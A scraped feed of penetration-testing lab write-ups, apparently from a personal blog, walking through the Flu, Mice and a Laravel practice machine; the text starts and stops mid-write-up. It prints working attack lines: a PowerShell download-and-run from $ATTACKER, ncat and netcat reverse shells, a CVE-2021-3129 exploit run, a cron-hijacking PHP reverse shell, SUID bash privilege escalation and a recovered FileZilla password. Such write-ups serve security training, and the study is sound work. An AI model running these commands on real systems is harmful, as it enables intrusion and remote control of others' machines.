we can leverage to getting a root shell. We will add these two lines:\n1 2 cp /usr/bin/bash /home/confluence/lol chmod +s /home/confluence/lol After a bit we see our bash binary named lol appear with the SUID!\n1 2 3 4 5 6 7 8 9 10 11 12 confluence@flu:/home/confluence$ ls -al ls -al total 5164 drwxr-xr-x 11 confluence confluence 4096 Mar 9 16:15 . drwxr-xr-x 3 root root 4096 Dec 12 2023 .. -rw------- 1 confluence confluence 16 Dec 12 2023 .bash_history drwxr-x--- 3 confluence confluence 4096 Mar 9 13:55 .cache drwxr-x--- 3 confluence confluence 4096 Nov 14 12:31 .java drwxrwxr-x 3 confluence confluence 4096 Mar 9 14:01 .local -rw-r--r-- 1 confluence confluence 33 Mar 9 13:53 local.txt -rwsr-sr-x 1 root root 1437832 Mar 9 16:15 lol drwx------ 2 confluence confluence 4096 Mar 9 13:54 .ssh Tip We could have deployed a tool like pspy to identify cronjobs running, but we went straight assuming it will/may run. Now, we just spawn a root shell and our job is done.\n1 2 3 4 5 6 7 8 9 10 confluence@flu:/home/confluence$ ./lol -p ./lol -p lol-5.2# whoami whoami root lol-5.2# cd /root cd /root lol-5.2# ls ls backup email8.txt proof.txt snap ","permalink":"https://p4n4s.com/posts/offsec/flu/","summary":"You are required to leverage enumeration techniques, including web enumeration, to uncover potential vulnerabilities. The lab involves exploiting CVE-2022-26134 and abusing cronjobs to gain unauthorized access. This lab focuses on understanding and exploiting vulnerabilities to enhance security awareness.","title":"PG Practice: Linux - Flu"},{"content":"Machine Info Spoiler This lab demonstrates exploiting RemoteMouse 3.008 to achieve remote code execution via a modified exploit that delivers a reverse shell. Learners will escalate privileges by extracting and decoding credentials from FileZilla\u0026rsquo;s configuration files, gaining RDP access as a user. Finally, they will exploit the RemoteMouse application\u0026rsquo;s admin privileges to spawn a Command Prompt as Administrator. This lab emphasizes RCE, credential exploitation, and leveraging application misconfigurations for privilege escalation. User Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV $VICTIM Running second nmap scan with open ports: 1978,1979,1980,3389 Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-05 21:27 CET Nmap scan report for $VICTIM Host is up (0.033s latency). PORT STATE SERVICE VERSION 1978/tcp open remotemouse Emote Remote Mouse 1979/tcp open unisql-java? 1980/tcp open pearldoc-xact? 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2026-03-05T20:30:53+00:00; +14s from scanner time. | ssl-cert: Subject: commonName=Remote-PC | Not valid before: 2025-12-02T17:03:21 |_Not valid after: 2026-06-03T17:03:21 | rdp-ntlm-info: | Target_Name: REMOTE-PC | NetBIOS_Domain_Name: REMOTE-PC | NetBIOS_Computer_Name: REMOTE-PC | DNS_Domain_Name: Remote-PC | DNS_Computer_Name: Remote-PC | Product_Version: 10.0.19041 |_ System_Time: 2026-03-05T20:30:25+00:00 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 10|2019 (92%) OS CPE: cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2019 Aggressive OS guesses: Microsoft Windows 10 1903 - 21H1 (92%), Microsoft Windows 10 1909 - 2004 (85%), Windows Server 2019 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 4 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows RemoteMouse-3.008 Looking at the open ports immediately we spot 1978/tcp open remotemouse - Emote Remote Mouse and upon looking up online we find an RCE vulnerability and a local privilege escalation when you have GUI access that is listed as CVE-2021-35448.\nWe are going to use the RCE PoC from the above link and try to see if it vulnerable.\nRunning the command that is listed in the usage of the repo we actually get a hit on our python web server.\n1 ./RemoteMouse-3.008-Exploit.py --target-ip $VICTIM --cmd \u0026#34;powershell -c \\\u0026#34;iex (New-Object Net.WebClient).DownloadString(\u0026#39;http://$ATTACKER/revshell.ps1\u0026#39;)\\\u0026#34;\u0026#34; 1 2 3 └─$ python -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... $VICTIM - - [06/Mar/2026 09:47:27] \u0026#34;GET /revshell.ps1 HTTP/1.1\u0026#34; 200 - The problem here was that we tried many ports and many different ways to establish a reverse shell. It seems that only ports 80 and 443 seems to be allowed to establish a connection and even then popular payloads and tools didn\u0026rsquo;t work such as powershell reverse shells. We tried multiple ones without luck.\nSo we then tried ncat.exe which did the trick. We have to send the executable on the server on a location it exists and then run it. As you will see from the below sample we tried many options.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 └─$ cd ../RemoteMouse-3.008-Exploit └─$ ls README.md RemoteMouse-3.008-Exploit.py setup └─$ python RemoteMouse-3.008-Exploit.py -t $VICTIM -c \u0026#39;powershell -c \u0026#34;iwr -uri http://$ATTACKER/ncat.exe -outfile C:\\TEMP\\ncat.exe\u0026#39; #failed └─$ python RemoteMouse-3.008-Exploit.py -t $VICTIM -c \u0026#39;powershell -c \u0026#34;iwr -uri http://$ATTACKER/ncat.exe -outfile C:\\Windows\\TEMP\\ncat.exe\u0026#39; └─$ python RemoteMouse-3.008-Exploit.py -t $VICTIM -c \u0026#39;powershell -c \u0026#34;C:\\Windows\\TEMP\\ncat.exe $ATTACKER 4444 -e powershell\u0026#39; #failed └─$ python RemoteMouse-3.008-Exploit.py -t $VICTIM -c \u0026#39;powershell -c \u0026#34;C:\\Windows\\TEMP\\ncat.exe $ATTACKER 4444 -e cmd\u0026#39; #failed └─$ python RemoteMouse-3.008-Exploit.py -t $VICTIM -c \u0026#39;powershell -c \u0026#34;C:\\Windows\\TEMP\\ncat.exe $ATTACKER 80 -e cmd\u0026#39; 1 2 3 4 5 6 7 └─$ rlwrap nc -lnvp 80 listening on [any] 80 ... connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 50202 Microsoft Windows [Version 10.0.19042.1348] (c) Microsoft Corporation. All rights reserved. C:\\Users\\divine\u0026gt; At last we got a shell and we can get the local.txt.\nRoot FileZilla Immediately looking at the user\u0026rsquo;s directory we spot FileZilla and if we look under the Appdata directory we will find the recent connection with the credentials in base64.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 PS C:\\Users\\divine\\Appdata\\Roaming\u0026gt; cd Filezilla cd Filezilla PS C:\\Users\\divine\\Appdata\\Roaming\\Filezilla\u0026gt; cat recentservers.xml cat recentservers.xml \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;FileZilla3 version=\u0026#34;3.54.1\u0026#34; platform=\u0026#34;windows\u0026#34;\u0026gt; \u0026lt;RecentServers\u0026gt; \u0026lt;Server\u0026gt; \u0026lt;Host\u0026gt;ftp.pg\u0026lt;/Host\u0026gt; \u0026lt;Port\u0026gt;21\u0026lt;/Port\u0026gt; \u0026lt;Protocol\u0026gt;0\u0026lt;/Protocol\u0026gt; \u0026lt;Type\u0026gt;0\u0026lt;/Type\u0026gt; \u0026lt;User\u0026gt;divine\u0026lt;/User\u0026gt; \u0026lt;Pass encoding=\u0026#34;base64\u0026#34;\u0026gt;[BASE65PASSHERE]=\u0026lt;/Pass\u0026gt; \u0026lt;Logontype\u0026gt;1\u0026lt;/Logontype\u0026gt; \u0026lt;PasvMode\u0026gt;MODE_DEFAULT\u0026lt;/PasvMode\u0026gt; \u0026lt;EncodingType\u0026gt;Auto\u0026lt;/EncodingType\u0026gt; \u0026lt;BypassProxy\u0026gt;0\u0026lt;/BypassProxy\u0026gt; \u0026lt;/Server\u0026gt; \u0026lt;/RecentServers\u0026gt; \u0026lt;/FileZilla3\u0026gt; PS C:\\Users\\divine\\Appdata\\Roaming\\Filezilla\u0026gt; User\u0026#39;s password ControlFreak11 Now we can RDP to the machine which gives us more flexibility and options.\nAs we said earlier we had found a local privilege escalation for the Remote Mouse and now that we have a GUI we can try it.\nThe steps to reproduce are:\nOpen Remote Mouse from the system tray Go to \u0026ldquo;Settings\u0026rdquo; Click \u0026ldquo;Change\u0026hellip;\u0026rdquo; in \u0026ldquo;Image Transfer Folder\u0026rdquo; section \u0026ldquo;Save As\u0026rdquo; prompt will appear Enter \u0026ldquo;C:\\Windows\\System32\\cmd.exe\u0026rdquo; in the address bar A new command prompt is spawned with Administrator privileges That\u0026rsquo;s how we achieve SYSTEM access.\n","permalink":"https://p4n4s.com/posts/offsec/mice/","summary":"In this lab, the RemoteMouse 3.008 exploit will be used on port 1978 for remote code execution, capturing a reverse shell with Netcat. After decoding the FileZilla password, we will log in via Remote Desktop and open a Command Prompt as an administrator. This lab focuses on exploiting service vulnerabilities and privilege escalation methods.","title":"PG Practice: Windows - Mice"},{"content":"Machine Info Spoiler This lab challenges learners to exploit a misconfigured APP_DEBUG setting in a Laravel 8.4.0 application. Using CVE-2021-3129, an unauthenticated Remote Code Execution (RCE) vulnerability in Laravel\u0026rsquo;s Ignition component, attackers can execute arbitrary code, gain reverse shells, and escalate privileges to root through misconfigurations. User Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV $VICTIM Running second nmap scan with open ports: 22,80 Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-04 22:14 CET Nmap scan report for $VICTIM Host is up (0.024s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0) | ssh-hostkey: | 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA) | 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA) |_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: W3.CSS Template |_http-server-header: Apache/2.4.56 (Debian) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 4 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Laravel 8.4.0 RCE We land on this website with no much information going on. Browsing a bit will give the 404 Not Found page which will give us that it is based on Laravel 8.4.0. On the mean time our directory search came back pointing that there is a /login \u0026amp; /register route.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 └─$ ffuf -u http://$VICTIM/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -r /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://$VICTIM/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt :: Follow redirects : true :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ .htaccess [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 114ms] .htpasswd [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 120ms] css [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 91ms] favicon.ico [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 30ms] home [Status: 200, Size: 4916, Words: 2152, Lines: 115, Duration: 80ms] images [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 32ms] javascript [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 92ms] js [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 42ms] login [Status: 200, Size: 4916, Words: 2152, Lines: 115, Duration: 162ms] logout [Status: 405, Size: 554444, Words: 23377, Lines: 158, Duration: 90ms] register [Status: 200, Size: 4981, Words: 2031, Lines: 116, Duration: 47ms] robots.txt [Status: 200, Size: 24, Words: 2, Lines: 3, Duration: 94ms] server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 52ms] :: Progress: [20481/20481] :: Job [1/1] :: 137 req/sec :: Duration: [0:02:04] :: Errors: 0 :: After registering a user we come across this screen which basically let us enable debug mode for Laravel. Looking it up online with the version we found we come across a well known RCE vulnerability for Laravel 8.4.2 and prior and exists when debug mode is on. The vulnerability is listed as CVE-2021-3129.\nTip There are many public exploits available but I lost hours because I didn\u0026rsquo;t use this one. Looking at the exploit code it has some hardcoded values regarding the victim host so we put the correct IP and also enable APP_DEBUG = [ENABLED] on the website.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 └└─$ python exploit.py [*] Try to use monolog_rce1 for exploitation. [+] PHPGGC found. Generating payload and deploy it to the target [*] Result: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false skunk:x:1001:1001::/home/skunk:/bin/bash We have achieved rce! Let\u0026rsquo;s now change the commands in order to get a reverse shell. We used a simple netcat reverse shell.\n1 2 def main(): Exploit(\u0026#34;http://$VICTIM\u0026#34;, \u0026#34;nc $ATTCKER 4444 -e /bin/sh\u0026#34;) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 └─$ rlwrap nc -lnvp 4444 listening on [any] 4444 ... connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 45390 which python3 /usr/bin/python3 python3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; www-data@debian:/$ ls ls bin home lib32 media root sys vmlinuz boot initrd.img lib64 mnt run tmp vmlinuz.old dev initrd.img.old libx32 opt sbin usr etc lib lost+found proc srv var www-data@debian:/$ cd home cd home www-data@debian:/home$ ls ls skunk www-data@debian:/home$ cd skunk cd skunk www-data@debian:/home/skunk$ ls ls bash_history local.txt That\u0026rsquo;s how we get local.txt. Just remember the public exploit can be tricky. I messed up for quite some time with the one from ExploitDB and another on from github which were the full path of the log directory for laravel.\nInfo CVE-2021-3129 is a Remote Code Execution vulnerability in the Laravel framework which takes advantage of unsafe usage of PHP. This vulnerability and the steps to exploit it follow a similar path to a classic log poisoning attack. Root Skunk - PHP We start we some basic enumeration and we find a MYSQL database and credentials!\n1 2 3 4 5 6 7 www-data@debian:/var/www/html$ ss -tlnp ss -tlnp State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* LISTEN 0 128 [::]:22 [::]:* LISTEN 0 511 *:80 *:* 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 www-data@debian:/var/www/html/lavita$ cat .env cat .env APP_NAME=LaVita APP_ENV=local APP_KEY=base64:zfXJipTpbCyrZHRDpn0/NmdpHTbAl7/hCMf476EP1LU= APP_DEBUG=true APP_URL=http://hb02.onsec LOG_CHANNEL=stack LOG_LEVEL=debug DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=lavita DB_USERNAME=lavita DB_PASSWORD=sdfquelw0kly9jgbx92 ... Unfortunately nothing important was on the database. Here we took our time to run different tools such as linpeas and but we didn\u0026rsquo;t much. We cannot run sudo since there is no password for www-data user and user skunk doesn\u0026rsquo;t seem to have much exposure. We tried the passwords find with his accounts with no luck. We also checked the sudo version, which wasn\u0026rsquo;t vulnerable either. We moved then and run pspy to monitor running processes and maybe we could get something from this. Info pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 wget http://$ATTACKER/pspy32 -O pspy32 --2026-03-05 10:16:38-- http://$ATTACKER/pspy32 Connecting to $ATTACKER:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3334296 (3.2M) [application/octet-stream] Saving to: ‘pspy32’ pspy32 100%[===================\u0026gt;] 3.18M 1.19MB/s in 2.7s 2026-03-05 10:16:41 (1.19 MB/s) - ‘pspy32’ saved [3334296/3334296] www-data@debian:/tmp$ chmod +x pspy32 chmod +x pspy32 chmod +x pspy32 www-data@debian:/tmp$ ./pspy32 ./pspy32 ./pspy32 pspy - version: 1.2.1 - Commit SHA: kali ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░ ▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ ░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ ░░ ░ ░ ░ ░░ ▒ ▒ ░░ ░ ░ ░ ░ ░ Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done 2026/03/05 10:16:52 CMD: UID=33 PID=30145 | ./pspy32 2026/03/05 10:16:52 CMD: UID=0 PID=30141 | 2026/03/05 10:16:52 CMD: UID=0 PID=30068 | 2026/03/05 10:16:52 CMD: UID=0 PID=30056 | 2026/03/05 10:16:52 CMD: UID=0 PID=29918 | 2026/03/05 10:16:52 CMD: UID=0 PID=29554 | 2026/03/05 10:16:52 CMD: UID=33 PID=29360 | /bin/bash 2026/03/05 10:16:52 CMD: UID=33 PID=29359 | sh -c /bin/bash 2026/03/05 10:16:52 CMD: UID=33 PID=29358 | script /dev/null -c /bin/bash 2026/03/05 10:16:52 CMD: UID=0 PID=29256 | 2026/03/05 10:16:52 CMD: UID=0 PID=29170 | 2026/03/05 10:16:52 CMD: UID=33 PID=19330 | xxd 2026/03/05 10:16:52 CMD: UID=33 PID=19329 | dd bs=9000 count=1 2026/03/05 10:16:52 CMD: UID=33 PID=19320 | bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r \u0026gt;\u0026amp;3; dd bs=9000 count=1 \u0026lt;\u0026amp;3 2\u0026gt;/dev/null | xxd ) 3\u0026gt;/dev/udp/1.1.1.1/53 \u0026amp;\u0026amp; echo \u0026#34;DNS accessible\u0026#34;) | grep \u0026#34;accessible\u0026#34; \u0026amp;\u0026amp; exit 0 ) 2\u0026gt;/dev/null || echo \u0026#34;DNS is not accessible\u0026#34; 2026/03/05 10:16:52 CMD: UID=33 PID=19318 | grep accessible 2026/03/05 10:16:52 CMD: UID=33 PID=19317 | bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r \u0026gt;\u0026amp;3; dd bs=9000 count=1 \u0026lt;\u0026amp;3 2\u0026gt;/dev/null | xxd ) 3\u0026gt;/dev/udp/1.1.1.1/53 \u0026amp;\u0026amp; echo \u0026#34;DNS accessible\u0026#34;) | grep \u0026#34;accessible\u0026#34; \u0026amp;\u0026amp; exit 0 ) 2\u0026gt;/dev/null || echo \u0026#34;DNS is not accessible\u0026#34; 2026/03/05 10:16:52 CMD: UID=33 PID=19316 | bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r \u0026gt;\u0026amp;3; dd bs=9000 count=1 \u0026lt;\u0026amp;3 2\u0026gt;/dev/null | xxd ) 3\u0026gt;/dev/udp/1.1.1.1/53 \u0026amp;\u0026amp; echo \u0026#34;DNS accessible\u0026#34;) | grep \u0026#34;accessible\u0026#34; \u0026amp;\u0026amp; exit 0 ) 2\u0026gt;/dev/null || echo \u0026#34;DNS is not accessible\u0026#34; 2026/03/05 10:16:52 CMD: UID=33 PID=1809 | /bin/bash 2026/03/05 10:16:52 CMD: UID=33 PID=1808 | python3 -c import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;) 2026/03/05 10:16:52 CMD: UID=33 PID=1807 | sh 2026/03/05 10:16:52 CMD: UID=33 PID=1806 | sh -c nc $ATTACKER 4444 -e \\/bin\\/sh 2026/03/05 10:16:52 CMD: UID=0 PID=1794 | 2026/03/05 10:16:52 CMD: UID=33 PID=1267 | grep -R skunk / 2026/03/05 10:16:52 CMD: UID=33 PID=1150 | /bin/bash 2026/03/05 10:16:52 CMD: UID=33 PID=1149 | python3 -c import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;) 2026/03/05 10:16:52 CMD: UID=33 PID=1148 | sh 2026/03/05 10:16:52 CMD: UID=33 PID=1147 | sh -c nc $ATTACKER 4444 -e \\/bin\\/sh 2026/03/05 10:16:52 CMD: UID=33 PID=1045 | /usr/sbin/apache2 -k start 2026/03/05 10:16:52 CMD: UID=33 PID=1041 | /usr/sbin/apache2 -k start 2026/03/05 10:16:52 CMD: UID=33 PID=1040 | /usr/sbin/apache2 -k start 2026/03/05 10:16:52 CMD: UID=33 PID=1039 | /usr/sbin/apache2 -k start 2026/03/05 10:16:52 CMD: UID=33 PID=1038 | /usr/sbin/apache2 -k start 2026/03/05 10:16:52 CMD: UID=33 PID=938 | /usr/sbin/apache2 -k start 2026/03/05 10:16:52 CMD: UID=33 PID=937 | /usr/sbin/apache2 -k start 2026/03/05 10:16:52 CMD: UID=33 PID=936 | /usr/sbin/apache2 -k start 2026/03/05 10:16:52 CMD: UID=33 PID=935 | /usr/sbin/apache2 -k start 2026/03/05 10:16:52 CMD: UID=33 PID=934 | /usr/sbin/apache2 -k start 2026/03/05 10:16:52 CMD: UID=0 PID=605 | /usr/sbin/apache2 -k start 2026/03/05 10:16:52 CMD: UID=106 PID=577 | /usr/sbin/mariadbd 2026/03/05 10:16:52 CMD: UID=0 PID=502 | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 2026/03/05 10:16:52 CMD: UID=0 PID=491 | /sbin/agetty -o -p -- \\u --noclear tty1 linux 2026/03/05 10:16:52 CMD: UID=0 PID=477 | /lib/systemd/systemd-logind 2026/03/05 10:16:52 CMD: UID=0 PID=474 | /usr/sbin/rsyslogd -n -iNONE 2026/03/05 10:16:52 CMD: UID=103 PID=471 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 2026/03/05 10:16:52 CMD: UID=0 PID=470 | /usr/sbin/cron -f 2026/03/05 10:16:52 CMD: UID=0 PID=443 | /usr/bin/vmtoolsd 2026/03/05 10:16:52 CMD: UID=0 PID=442 | /usr/bin/VGAuthService 2026/03/05 10:16:52 CMD: UID=104 PID=439 | /lib/systemd/systemd-timesyncd ... 2026/03/05 10:16:52 CMD: UID=0 PID=1 | /sbin/init 2026/03/05 10:17:01 CMD: UID=0 PID=30154 | /usr/sbin/CRON -f 2026/03/05 10:17:01 CMD: UID=0 PID=30153 | /usr/sbin/CRON -f 2026/03/05 10:17:01 CMD: UID=0 PID=30155 | /usr/sbin/CRON -f 2026/03/05 10:17:01 CMD: UID=0 PID=30156 | run-parts --report /etc/cron.hourly 2026/03/05 10:17:01 CMD: UID=0 PID=30157 | /usr/sbin/CRON -f 2026/03/05 10:17:01 CMD: UID=1001 PID=30158 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures 2026/03/05 10:17:01 CMD: UID=1001 PID=30159 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures 2026/03/05 10:17:01 CMD: UID=1001 PID=30161 | sh -c stty -a | grep columns 2026/03/05 10:17:01 CMD: UID=1001 PID=30160 | stty -a 2026/03/05 10:17:01 CMD: UID=1001 PID=30162 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures 2026/03/05 10:17:01 CMD: UID=1001 PID=30164 | sh -c stty -a | grep columns 2026/03/05 10:17:01 CMD: UID=1001 PID=30163 | stty -a 2026/03/05 10:17:01 CMD: UID=1001 PID=30165 | sh -c rm -Rf /var/www/html/lavita/public/images/* 2026/03/05 10:17:01 CMD: UID=1001 PID=30166 | 2026/03/05 10:18:01 CMD: UID=0 PID=30167 | /usr/sbin/CRON -f 2026/03/05 10:18:01 CMD: UID=0 PID=30168 | /usr/sbin/CRON -f 2026/03/05 10:18:01 CMD: UID=1001 PID=30169 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures 2026/03/05 10:18:01 CMD: UID=1001 PID=30170 | 2026/03/05 10:18:01 CMD: UID=1001 PID=30172 | 2026/03/05 10:18:01 CMD: UID=1001 PID=30171 | sh -c stty -a | grep columns 2026/03/05 10:18:01 CMD: UID=1001 PID=30173 | 2026/03/05 10:18:01 CMD: UID=1001 PID=30174 | sh -c stty -a | grep columns 2026/03/05 10:18:01 CMD: UID=1001 PID=30175 | sh -c stty -a | grep columns 2026/03/05 10:18:01 CMD: UID=1001 PID=30176 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures 2026/03/05 10:18:01 CMD: UID=1001 PID=30177 | rm -Rf /var/www/html/lavita/public/images/* Interestingly enough we spot cron jobs running as user 1001 (skunk). Most interesting one is the /usr/bin/php /var/www/html/lavita/artisan clear:pictures. Looking at the /var/www/html/lavita/artisan we see we as www-data are the owner! Let\u0026rsquo;s overwrite it with a PHP reverse shell. We used a classic one from PentestMonkey which can be found here.\n1 2 3 4 5 6 7 8 9 10 11 12 └─$ rlwrap nc -lnvp 4448 listening on [any] 4448 ... connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 59812 Linux debian 5.10.0-25-amd64 #1 SMP Debian 5.10.191-1 (2023-08-16) x86_64 GNU/Linux 10:35:01 up 2:45, 0 users, load average: 0.00, 0.02, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=1001(skunk) gid=1001(skunk) groups=1001(skunk),27(sudo),33(www-data) /bin/sh: 0: can\u0026#39;t access tty; job control turned off $ bash id uid=1001(skunk) gid=1001(skunk) groups=1001(skunk),27(sudo),33(www-data) We got reverse shell as user skunk! Let\u0026rsquo;s see what we can do now.\nSUDO Composer Immediatelly we check sudo rights and we are able to run composer as root.\n1 2 3 4 5 6 7 8 9 skunk@debian:/$ sudo -l sudo -l Matching Defaults entries for skunk on debian: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User skunk may run the following commands on debian: (ALL : ALL) ALL (root) NOPASSWD: /usr/bin/composer --working-dir\\=/var/www/html/lavita * We can easily abuse this and get a root shell as we see on GTFOBins.\n1 2 3 skunk@debian:/var/www/html/lavita$ echo 